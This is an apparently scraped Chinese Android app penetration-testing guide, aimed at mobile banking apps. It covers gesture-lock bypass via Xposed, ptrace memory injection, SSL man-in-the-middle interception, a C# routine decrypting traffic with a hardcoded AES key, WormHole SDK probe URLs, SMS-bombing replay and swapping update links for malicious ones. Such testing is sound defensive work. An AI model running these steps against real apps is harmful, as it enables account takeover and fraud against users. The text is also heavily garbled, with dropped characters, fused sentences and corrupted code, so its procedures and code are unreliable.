需要權(quán)限,有即存在安全隱患。手勢密碼安全測試手勢密碼的復(fù)雜度測試客戶端手勢密碼復(fù)雜度,觀察是否有點(diǎn)位數(shù)量判斷邏輯。反編譯APK為jar包,通過jd-gui()手勢密碼的修改和取消檢測客戶端在取消手勢密碼時(shí)是否會(huì)驗(yàn)證之前設(shè)置的手勢密碼,檢測是否存在其他導(dǎo)致手勢密碼取消的邏輯問題(反編譯APK為jar包,通過jd-gui手勢密碼的本地信息保存檢測在輸入手勢密碼以后客戶端是否會(huì)在本地記錄一些相關(guān)信息,例如明文或加密過的手勢密碼。/data/data關(guān)鍵詞為gesture,等式,觀察其具體位數(shù)是否對(duì)應(yīng)進(jìn)行MD5(二進(jìn)制128位,十六進(jìn)制32位或16位、SHA-1(二進(jìn)制160位,十六進(jìn)制40位)等散列后的位數(shù)。如果位數(shù)對(duì)應(yīng),即可在反編譯的jar包中搜索對(duì)應(yīng)的關(guān)鍵字以迅速對(duì)應(yīng)代碼。MD5、SHA-1等常用的哈希算法已被發(fā)現(xiàn)碰撞漏洞,二是網(wǎng)絡(luò)中存在\h等散列值查詢網(wǎng)站可以通過大數(shù)據(jù)查詢的方式獲取散列前的明文手勢密碼。手勢密碼的鎖定策略a[2][2]這種3*3數(shù)字轉(zhuǎn)化為類似手機(jī)數(shù)字鍵盤的b[8輸入不同于步驟1入多次手勢密碼錯(cuò)誤,觀察當(dāng)用戶處于登陸狀態(tài)時(shí)是否退出當(dāng)前的登陸狀態(tài)并關(guān)閉客戶端;當(dāng)客戶未處于登錄狀態(tài)時(shí)是否關(guān)閉客戶端并進(jìn)行一定時(shí)間的輸入鎖定。反編譯APK為jar包,通過jd-gui手勢密碼的抗攻擊測試驗(yàn)證是否可以通過插件繞過手勢密碼的驗(yàn)證頁面。下載并安裝Xposed框架及SwipeBack插件。啟動(dòng)SwipeBack進(jìn)程保護(hù)測試內(nèi)存訪問和修改(。需要root權(quán)限,可以使用MemSpector/dev/ashmem/dalvik-heap通過ptrace接口修改客戶端內(nèi)存,可以使用ptrace)動(dòng)態(tài)注入擊者可通過ptrace掛載等方式控制客戶端代碼執(zhí)行流程,對(duì)金融類APP用戶的個(gè)人財(cái)產(chǎn)造成威脅,hook檢測環(huán)境變量。使用,劫持函數(shù)。如圖是劫持ls命令libc_init(或者使用工具動(dòng)態(tài)注入應(yīng)用進(jìn)程內(nèi)存。參考/crmulliner/ddi?;蛘呤褂胔ook框架來進(jìn)行測試。對(duì)于Android上比較完善的hook框架可參考5.9AndroidHook框架。本地端口開放檢測通常使用PF_UNIXPF_INETPF_NETLINKdomain的socketIPCsocket少利用socketrootPF_INET類型socketAndroidlinuxidpermissionAndroidbusyboxnetstat-tuanp|grep-Ei'listen|udp*'DEXAndroid系統(tǒng)提供了一種類加載器DexClassLoader,其可以在運(yùn)行時(shí)動(dòng)態(tài)加載并解釋執(zhí)行包含在JAR或APK文件內(nèi)的DEX文件。外部\h動(dòng)態(tài)加載DEX文件的安全風(fēng)險(xiǎn)源于:Anroid4.1之前的系統(tǒng)版本容許Android應(yīng)用將動(dòng)態(tài)加載的DEX文件存儲(chǔ)在被其他應(yīng)用任意讀寫的目錄中(如sdcard),因此不能夠保護(hù)應(yīng)用免遭惡意代碼的注入;所加載的DEX易被惡意應(yīng)用所替換或者代碼注入,如果沒有對(duì)外部所加載的DEX文件做完整性校驗(yàn),應(yīng)用將會(huì)被惡意代碼注入,從而執(zhí)行的是惡意代碼搜DexClassLoader.風(fēng)險(xiǎn)位置:publicDexClassLoader(StringdexPath,StringoptimizedDirectory,StringlibraryPath,ClassLoaderparent)[2].查看AndroidManifest.xml包package值相對(duì)應(yīng)路徑下的文件中是否含有DexClassLoader()函數(shù)調(diào)用so檢測so庫中函數(shù)是否可被其他應(yīng)用調(diào)用。嘗試用他序用APP的so庫數(shù) -- 測so函能輕被應(yīng)用用通信安全測試通信加密客戶端和服務(wù)端通信是否強(qiáng)制采用https如果使用HTTP(SHTTP在電腦上開啟Burp/Fiddler如果是Emulator虛擬機(jī):Emulator默認(rèn)使用3G網(wǎng)絡(luò)IP即可;如果是Genymotion虛擬機(jī):Genymotion默認(rèn)使用WIFI網(wǎng)絡(luò)WLAN->長按連接的WIFI名稱->修改網(wǎng)絡(luò)->代理:同上,設(shè)置成物理機(jī)的出口網(wǎng)卡IP即可;使用than;用手機(jī)連接電腦的WIFI,其余部分同Genymotion。如果是HTTP(S如果設(shè)備已經(jīng)rootProxyDroid”的APP;i.Emulator的root方法參考三、注釋;如果設(shè)備不能rootWindows虛擬機(jī)里,在Windows虛擬機(jī)上安裝Proxifier如果都不行,可參考3.;如果不是HTTP協(xié)議:那么一般就是由或UDP實(shí)現(xiàn)的私有協(xié)議,大多數(shù)是雖然也可以用一些辦法來操作網(wǎng)絡(luò)訪問比如用WPE附加到Emulator的進(jìn)程上,但由于P是全雙工流式協(xié)議,傳輸層上沒有明確的報(bào)文邊界。如果私有協(xié)議這種情況可以通過Wireshark如果協(xié)議復(fù)雜,就需要對(duì)APP此外,通信過程如果有加密、簽名等措施,通常需要從客戶端代碼入手,進(jìn)行傳統(tǒng)逆向分析以破解其加密。如果其實(shí)現(xiàn)非常復(fù)雜,此項(xiàng)可以認(rèn)為安全。逆向分析的常見入手位置主要有數(shù)據(jù)(字符串內(nèi)容等)和特定API(如界面、網(wǎng)絡(luò)、文件、Native操作等)兩種。有時(shí)會(huì)遇到客戶端檢查了HTTPS證書的情況SSL證書SLa)此種情況下,可以從代理工具中導(dǎo)出證書,然后安裝到安卓設(shè)備中。Hash所有需要對(duì)客戶端程序/設(shè)備進(jìn)行操作后,才能解除的保密性或完整性措施,不算作風(fēng)險(xiǎn)。加密簽名措施的破解,最終還是要根據(jù)客戶端的具體實(shí)現(xiàn)方式進(jìn)行分析。下面的例子(從界面按鈕的響應(yīng)入手,找到JAVA層常量中存儲(chǔ)對(duì)稱密鑰)可供參考。首先在手機(jī)終端設(shè)置HTTP代理,指向電腦上的代理工具(BurpSuite、fiddler等。準(zhǔn)備完成后打開手機(jī)客戶端,在代理工具上替換服務(wù)器發(fā)送給客戶端的證書,對(duì)客戶端和服務(wù)器的通信進(jìn)行SSL中間人攻擊,成功捕獲到客戶端和服務(wù)器間的通信,但通信字段明顯經(jīng)過加密算法處理:對(duì)客戶端程序代碼進(jìn)行逆向分析,從登錄按鈕的Listener開始進(jìn)行邏輯追蹤,可見Listener對(duì)密碼進(jìn)行Base64編碼后進(jìn)行了異步過程調(diào)用:找到異步過程子程,如下:繼續(xù)進(jìn)行邏輯追蹤,發(fā)現(xiàn)HttpWebService.login(string,string)中調(diào)用了加密封裝功能在相關(guān)功能中發(fā)現(xiàn)了以常量字符串形式硬編碼存儲(chǔ)的加密算法、初始化向量、和密鑰:編寫代碼仿制相關(guān)加密協(xié)議,成功對(duì)最初登錄報(bào)文中的內(nèi)容進(jìn)行了解密:staticvoidMain(string[]args){AesCryptoServiceProvidertest=newAesCryptoServiceProvider();test.IV=Encoding.ASCII.GetBytes("0102030405060408");test.Key=Encoding.ASCII.GetBytes("1234567890123456");test.Padding=PaddingMode.PKCS7;test.Mode=CipherMode.CBC;ICryptoTransformtdec=taes.CreateDecryptor();stringtinput;while(!sstring.IsNullOrEmpty(tinput=Console..ReadLine()))byte[]ttinput=EncodingEx.Hex(tinput);byte[]toutput=tdec.ICryptoTransformFinalBlock(ttinput,0,ttinput.Length);Console.WriteLine(Encoding.UTF8.GetString(toutput));}嗅探流量tcpdump,使用tcpdump嗅探客戶端提交的數(shù)據(jù),將其保存為pcap文件。使用Wireshark打開pcap文件,檢查交互數(shù)據(jù)是否是https。將客戶端鏈接到的地址改為tt(UL開頭的htps改為htpHTTP配置HTTP代理工具,以BurpSuite為例,proxy-options配置Android設(shè)備的settings-wireless&networks-more-Mobilenetworks-AccessPointsname-Proxysocket使用tcpdump將設(shè)備中的應(yīng)用操作引發(fā)的通信包導(dǎo)出,使用wireshark查看,命令如下:tcpdump-wtraffic.pcap證書有效性客戶端程序和服務(wù)器端SSL受到SSL通過wifi將手機(jī)和測試PC連接到同一子網(wǎng)。android代理配置在手機(jī)上配置好代理,代理IP為測試PCIP地址,端口為代理的監(jiān)聽端口,如圖所示。此時(shí),客戶端通信將會(huì)轉(zhuǎn)發(fā)給測試PC上的fiddler代理。然后使用客戶端訪問服務(wù)端,查看客戶端是否會(huì)提示證書問題。通過修改SSL證書查閱代碼中是否有SSL驗(yàn)證。下圖是中進(jìn)行服務(wù)端SSL證書驗(yàn)證的一種方式。關(guān)鍵函數(shù)為:數(shù)查找的verify函數(shù)。如verify()函數(shù)總返回true,則客戶端對(duì)服務(wù)端SSL可能還有其他SSL實(shí)現(xiàn),需要驗(yàn)證)詳情請(qǐng)參考AndroidSDK。(在代碼中添加證書的代碼如下,證書保存在資源R.raw.mystore中。KeyStoretrusted=KeyStore.getInstance("BKS");InputStreamin=_resources.openRawResource(R.raw.mystore);try{trusted.load(in,"pwd".toCharArray());}finally{in.close();}可參考此鏈接。)SSLSSL.(或S1()使用openssl,指定域名和端口,可以看到SSL連接的類型和版本。如下圖所示,使用了S6(,DS等算。關(guān)鍵數(shù)據(jù)加密和校檢到設(shè)備上,使根證書可信?;蚴翘鎿Q客戶端apk中的根證書文件。如果上述方法均失效,則反編譯為java代碼,將客戶端逆向后,通過閱讀java代碼的方式尋找客戶端程序向服務(wù)端提交數(shù)據(jù)的代碼,檢查是否存在加密的代碼訪問控制測試客戶端訪問的URL在PC機(jī)的瀏覽器里輸入U(xiǎn)RL,嘗試訪問手機(jī)銀行頁面??蛻舳烁掳踩允褂么碜トz測更新的數(shù)據(jù)包,嘗試將服務(wù)器返回的更新url替換為惡意鏈接??纯蛻舳耸欠駮?huì)直接打開此鏈接并下載應(yīng)用。在應(yīng)用下載完畢后,測試能否替換下載的apk文件,測試客戶端是否會(huì)安裝替換后的應(yīng)用。更新戶,用burp抓包 -- 檢是能修改新的量短信重放攻擊檢測應(yīng)用中是否存在數(shù)據(jù)包重放攻擊的安全問題。是否會(huì)對(duì)客戶端用戶造成短信轟炸的困擾。嘗試重放短信驗(yàn)證碼數(shù)據(jù)包是否可以進(jìn)行短信轟炸攻擊安全增強(qiáng)測試SDKWormHole蟲洞漏洞測試:1、反編譯系統(tǒng)源碼后,查看系統(tǒng)是否安裝百度sdk2、如果安裝sdk在代碼中查找字符串:40310/6259,如果存在\h:40310等字樣,進(jìn)入下一步檢測。3、檢測android系統(tǒng)端口打開情況,查看40310或6259端口是否開啟4造下求(使用網(wǎng)址程問或者用adb端轉(zhuǎn)的本端訪問,ADB 命令格式:adb forward tcp: 40310tcp: 40310)::40310/getcuid?secret=0&mcmdf=inapp_&callback=test_deviceid_callback:6259/getcuid?secret=0&mcmdf=inapp_&callback=test_deviceid_callback:7777/getcuid?callback=test_deviceid_callback:40310/getapplist?secret=0&mcmdf=inapp_baidu_bdgjs&callback=_box_jsonp5065、如果上步驟的請(qǐng)求能夠正常返回?cái)?shù)據(jù),說明漏洞存在。記錄漏洞,停止測試。二維碼識(shí)別測試1、安裝應(yīng)用后,打開二維碼掃描功能;2、掃描如下圖片\h//drops/20151201/201512011130233308817.jpg3、通過monitor查看app運(yùn)行日志,是否出現(xiàn)如下崩潰信息:4、如果出現(xiàn)崩潰信息,則說明風(fēng)險(xiǎn)存在,停止測試,記錄漏洞。AndroidPF_UNIXPF_INETPF_NETLINKdomain的socketIPCsocket上也出現(xiàn)過不少利用進(jìn)行拒絕服務(wù)、root類型的網(wǎng)絡(luò)socketAndroidlinuxidpermission安全檢查機(jī)制,在實(shí)現(xiàn)不當(dāng)?shù)那闆r下,可以突破Android的沙箱限制,以被攻擊應(yīng)用的權(quán)限執(zhí)行命令,通常出現(xiàn)比較嚴(yán)重的漏洞。1、使用反編譯工具打開應(yīng)用,反編譯出應(yīng)用源碼。2、在源碼中查找使用ServerSocket創(chuàng)建一個(gè)TCPSocketServer的代碼樣例:serverSocket=newServerSocket(SERVER_PORT);booleanmainThreadFlag=true;while(mainThreadFlag){Socketclient=serverSocket.accept();}}catch(IOExceptione1){e1.printStackTrace();}3、檢測對(duì)收到數(shù)據(jù)進(jìn)行處理,代碼片段如下:publicstaticStringreadCMDFromSocket(InputStreamin){intMAX_BUFFER_BYTES=2048;Stringmsg="";byte[]tempbuffer=newbyte[MAX_BUFFER_BYTES];try{intnumReadedBytes=in.read(tempbuffer,0,tempbuffer.length);if(numReadedBytes>-1)msg=newString(tempbuffer,0,numReadedBytes,"utf-8");tempbuffer=null;}catch(Exceptione){e.printStackTrace();}returnmsg;}...publicvoidhandlemsg(){...msg=readCMDFromSocket(in)if("exec"==msg){...//executecommandwithoutanycheck...}...}4、如果出現(xiàn)類似以上代碼,未對(duì)接收到的socket和內(nèi)容做任何校驗(yàn)檢查,則風(fēng)險(xiǎn)存在。停止測試,記錄漏洞。APP1、使用反編譯工具打開應(yīng)用,反編譯出應(yīng)用源碼。2、在源碼中查找使用Runtime.getRuntime().exec執(zhí)行第三方程序的代碼樣例:try{Processp1=Runtime.getRuntime().exec(newString[]{"/system/bin/ls","-l"},newString[]{"a=1","b=2"});Runtime.getRuntime().load("/data/data/com.baidu.seclab/lib/libtest.so");Runtime.getRuntime().loadLibrary("test");}catch(IOExceptione){e.printStackTrace();}Runtime.getRuntime().execapp向服務(wù)器提交的數(shù)據(jù)易被中間人篡改,對(duì)用戶數(shù)據(jù)的完整性造成影響,可以對(duì)業(yè)務(wù)操作進(jìn)行任意重放,造成如用戶信息被破解利用等問題。測試描述:使用webproxy獲取業(yè)務(wù)操作請(qǐng)求數(shù)據(jù)進(jìn)行分析。第一步:部署代理程序,啟動(dòng)appapp;分析webheaderPOST/GET在app否則說明app對(duì)applogin;MD5SHAhash嘗試使用web代理程序payload11.業(yè)務(wù)安全二、附錄一:工具使用ANDROID應(yīng)用分析Android列出當(dāng)前安裝的androidAPIidandroidlisttargetandroidandroidcreateavd–ntest2(avd字) -t12(對(duì)的id查看已有的androidandroidlistavdSD()mksdcard64M~/dani(存放路徑)5.使用模擬器打開第2步創(chuàng)建的設(shè)備emulator-avdtest2(avd名) -sdcrad~/dani(SD卡放徑)-partition-size256-memory5126.查看處于運(yùn)行狀態(tài)的android設(shè)備adbdevices7.下載安裝android應(yīng)用adbinstallctrip_std.apk(apk名字)apkandroid的apk文件是使用zip算法的壓縮包,可以使用任何支持zip格式的工具(winRAR,7zip等等)解壓縮CLASSES.DEX反編譯為smali代碼使用apktool工具可以對(duì)apk進(jìn)行解包。具體的解包命令格式為:apktoold[ecode][OPTS]<file.apk>[<dir>]。例如,對(duì)CQRCBank_121.apk進(jìn)行解包的命令如下:如果只需要修改smalir選項(xiàng)(也可以直接使用asmai將x反編譯為sai代碼,見5.3,不解碼ak中的資源。在打如aapt報(bào)的各種錯(cuò)誤。s選項(xiàng),不對(duì)classes.dex如果在5.6.1使用apktool打包smaliframework文件,添加framework文件。例如,添加Android4.4.2SDK中的framework文件,命令如下:解包時(shí)指定相應(yīng)的framework(上面命令中的tag0是對(duì)添加的framework的標(biāo)記,用于ar解包完成后,會(huì)將結(jié)果生成在指定的輸出路徑中,其中,smali文件夾下就是最終生成的DalvikVM匯編代碼,AndroidManifest.xml文件以及res目錄下的資源文件也已被解碼。如圖:反編譯為java代碼使用dex2jar工具,以classes.dex為參數(shù)運(yùn)行dex2jar.bat。成功運(yùn)行后,在當(dāng)前文件夾會(huì)生成classes_dex2jar.jar文件使用jd-gui工具查看、搜索并保存jar中的java代碼xmlapk中的xml大部分是經(jīng)過編譯的,無法直接查看和修改。如果需要查看xml文件,可以參考反編譯為smali代碼部分,使用apktool將整個(gè)apk解包?;蛘呤鞘褂肁XMLPrinter或APKParser工具對(duì)要查看的xml如果需要將修改后的xml重新打包到apk中,則可以參考5.6.1節(jié),使用apktool打包。目前還沒有發(fā)現(xiàn)可以單獨(dú)編譯一個(gè)xml文件的方法。對(duì)于已經(jīng)解包的aodK中的pt(xac是apkotpt.pp(,-I選項(xiàng)指定相應(yīng)版本的android.jar“ANDROID-SDK\build-tools\20.0.0\aapt.exe" package -f [apk-src\AndroidManifest.xml]-I "ANDROID-SDK\platforms\android-19\android.jar" -S [output.zip]注:上述aapt和android.jar的路徑為安裝androidSDKbuild-toolsrev.20,android4.4.2SDKplatform后才存在。如果沒有安裝上述版本的組件,可將路徑改為其他版本相應(yīng)的路徑。(通常較新版本的SDK出錯(cuò)的可能性會(huì)小一些。)反編譯so庫apk解壓縮后,將lib\armeabi\目錄下的so文件直接拖入IDA中,可以對(duì)so文件進(jìn)行靜態(tài)分析??梢钥吹絪o文件中包含的函數(shù),ARM匯編代碼,導(dǎo)入導(dǎo)出函數(shù)等信息處理odex文件odex是android系統(tǒng)中對(duì)dex文件優(yōu)化后生成的文件。關(guān)于odex的生成可以參考修改已安裝apk第5.步。如果要使用上述反編譯方法,需要先將odex轉(zhuǎn)換成dex。下載sai(htps//oop/sa//system/framework/中的jar版本可參考o(jì)dex生成的環(huán)境(如odex是在android4.4中生成的,就復(fù)制4.4虛擬機(jī),。運(yùn)行,將odex解析為smali代碼。-x選項(xiàng)表示輸入是odex文件,-d選項(xiàng)指定上個(gè)步驟中復(fù)制出來的jar文件路徑,如下圖所示。當(dāng)命令成功執(zhí)行后,在當(dāng)前目錄會(huì)創(chuàng)建一個(gè)out文件夾,里面就是smali代碼。運(yùn)行smali.jar,可生成dexAPK簽名和優(yōu)化Android系統(tǒng)要求每一個(gè)apk安裝包都必須經(jīng)過數(shù)字證書簽名。與Windows程序的數(shù)字證書簽名不同,apk安裝包的數(shù)字證書不需要權(quán)威的數(shù)字證書簽名機(jī)構(gòu)認(rèn)證。數(shù)字證書簽名,一可以判斷apk安裝包在簽名后是否被篡改過,二可以識(shí)別apk安裝包的作者。程序升級(jí)時(shí),只有當(dāng)新版程序和舊版程序的數(shù)字證書相同時(shí),Android系統(tǒng)才會(huì)認(rèn)為這兩個(gè)程序是同一個(gè)程包名。使用apktool重新打包的apk文件并不能直接安裝,因?yàn)樵赼pk中缺少簽名。首先用JDK中的keytool生成一個(gè)簽名文件。其中,-alias是指定簽名的別名,-keyalg對(duì)于AnodAPKA,ay選項(xiàng)指定簽名的
溫馨提示
- 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。
最新文檔
- 全縣輿情調(diào)研報(bào)告范文
- 清明實(shí)踐報(bào)告范文
- 2025年度木材代理進(jìn)口合同模板(含檢疫標(biāo)準(zhǔn))
- 2025年度足療養(yǎng)生館連鎖經(jīng)營權(quán)及商標(biāo)轉(zhuǎn)讓合同書
- 二零二五年度學(xué)生安全保障與家長責(zé)任書
- 2025年度電力安全監(jiān)督電力安裝工程勞務(wù)分包協(xié)議
- 二零二五年度智慧物流項(xiàng)目預(yù)算執(zhí)行書
- 二零二五年度手摩托線上線下銷售渠道合作合同
- 2025年度旅游咨詢兼職合同
- 檳榔品牌2025年度線上線下聯(lián)合代理協(xié)議
- 2024年科技節(jié)小學(xué)科普知識(shí)競賽題及答案(共100題)
- 2025年度教育培訓(xùn)機(jī)構(gòu)學(xué)生綜合素質(zhì)評(píng)價(jià)協(xié)議3篇
- 國網(wǎng)工程項(xiàng)目管理制度
- 氧氣管道吹掃、打壓方案
- 第28課 改革開放和社會(huì)主義現(xiàn)代化建設(shè)的巨大成就 教學(xué)設(shè)計(jì)(表格式)必修 中外歷史綱要(上)
- 追覓科技28題在線測試
- 中庸之道課件
- office辦公軟件應(yīng)用教學(xué)教案150
- 風(fēng)力發(fā)電廠土建工程施工組織設(shè)計(jì)
- GB/T 44811-2024物聯(lián)網(wǎng)數(shù)據(jù)質(zhì)量評(píng)價(jià)方法
- 高速公路改建拆除施工方案
評(píng)論
0/150
提交評(píng)論